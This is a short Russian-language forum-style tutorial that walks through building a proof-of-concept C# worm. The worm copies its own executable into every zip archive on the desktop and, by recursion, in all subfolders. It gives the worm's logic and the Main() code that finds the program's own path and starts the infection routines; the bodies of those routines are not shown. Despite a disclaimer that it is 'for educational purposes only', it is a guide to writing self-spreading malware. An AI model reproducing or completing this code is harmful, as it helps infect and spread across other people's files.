Шалом,сейчас я покажу тебе Proof-Of-Concept мини-червя, который добавляет себя во все zip архивы. Вся информация предоставлена исключительно в ознакомительных целях. ************************** Логика нашего червя: Ищем все zip файлы в папке Добавляем своё отродье в архив Повторяем тоже самое со всеми файлами. (рекурсией) Первым делом создадим новый метод, который будет принимать 2 аргумента - папку для заражения и файл, который будем добавлять в архив: И создаём рекурсивный метод, который будет заражать все подпапки: Переходим к Main'у. Тут создаём две переменные: путь до исполняемого файла, и путь до рабочего стола: string currentFilePath = Assembly.GetExecutingAssembly().Location, desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); Затем вызываем методы: zipInfect(new DirectoryInfo(desktopPath), currentFilePath); // Заражаем архивы на рабочем столе recursiveInfect(desktopPath, currentFilePath); // И в подпапках И теперь тестим: Как видим, в архивах появился наш файлик. **************************